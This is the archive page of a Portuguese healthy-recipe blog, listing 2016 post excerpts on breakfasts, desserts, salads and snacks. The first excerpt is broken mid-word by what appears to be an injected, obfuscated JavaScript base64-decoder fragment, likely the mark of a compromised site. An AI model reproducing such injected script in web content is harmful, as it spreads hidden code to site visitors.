Jul 12, 2016 | À descoberta, Receitas
4 super pequenos almoços alcalinos, por Rita Boavida Comece o dia de forma saudável, equilibrfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jul 8, 2016 | À descoberta, Receitas
2 sobremesas irresistíveis por Luísa Fortes da Cunha Panquecas com iogurte grego, manga e maracujá Ingredientes 1 Chávena de leite 1 Chávena de flocos de aveia 1 Chávena de farinha de trigo 1 Colher de sobremesa de fermento em pó 1 Ovo 2-3 Colheres de sopa de mel 1...
Jul 2, 2016 | À descoberta, Receitas
2 saladas de verão por Luísa Fortes da Cunha Salada de atum com ovo cozido, rúcula, alface, tomate, pepino, manjericão Ingredientes 6 Folhas de alface em pedaços 3 Ovos cozidos cortados 2-3 Latas de atum 2 Tomates Rúcula a gosto 1 Pepino cortado às rodelas Folhas de...
Jun 28, 2016 | À descoberta, Receitas
Gelado de morango e iogurte 0% gordura por Luísa Fortes da Cunha Ingredientes 6-8 Morangos congelados 4-6 Colheres de sopa de iogurte 0% gordura Amêndoas para polvilhar Açaí como topping Preparação Muito fácil: basta juntar o iogurte aos morangos, triturar tudo e...
Jun 22, 2016 | À descoberta, Receitas
3 Pequenos-almoços para manter a barriga lisa Reduzir ou evitar a gordura na zona abdominal passa por adotar rotinas saudáveis, como o bom sono, controlo do stress, exposição à luz solar (pela vitamina D), exercício físico e, claro, a alimentação. Toda a gente sabe...
Jun 11, 2016 | À descoberta, Receitas
3 receitas para piquenique, por Rita Malvar O verão está quase a chegar e já apetece passar bons momentos ao ar livre. Hoje sugerimos que agarre na cesta de piquenique, na manta xadrez e na família ou amigos, e se ponha a caminho de um lugar bonito, na natureza, para...
Jun 9, 2016 | À descoberta, Receitas
Overnight com manga, mirtilos e pudim de chia, por Luísa Fortes da Cunha. Ingredientes 1/2 Manga 1 Mão cheia de mirtilos 1 Iogurte grego ligeiro 1 Colher de sopa de sementes de chia Preparação: Overnight com manga, mirtilos e pudim de chia Comece por fazer o...
Jun 4, 2016 | À descoberta, Receitas
Vai ficar fã destas águas aromatizadas e adorar os muffins. receitas de Luísa Fortes da Cunha Águas aromatizadas Água aromatizada detox 1: com frutos vermelhos Ingredientes 1 Litro de água 4 Fatias de melancia 5 Rodelas de pepino Preparação Comece por cortar as...
Jun 1, 2016 | À descoberta, Receitas
3 sobremesas deliciosas por Rita Malvar Musse de abacate e cacau Uma musse de chocolate alternativa e 100% saudável. Apta a dietas vegetarianas. Duração: 10m Pessoas: 3-4 Ingredientes: 2 abacates 1 banana 2 c. (sobremesa) de xarope de ácer 4 tâmaras medjool 2 c....
Mai 16, 2016 | À descoberta, Receitas
3 snacks nutritivos e poucos calóricos, por Ágata Roquette Sugestão de pequeno-almoço Overnight oat 4 a 5 colheres de leite magro 30 g (ou 3 colheres de sopa) de flocos de aveia 2 colheres de chá de sementes de chia 1 iogurte natural Fruta e frutos secos, sementes e...
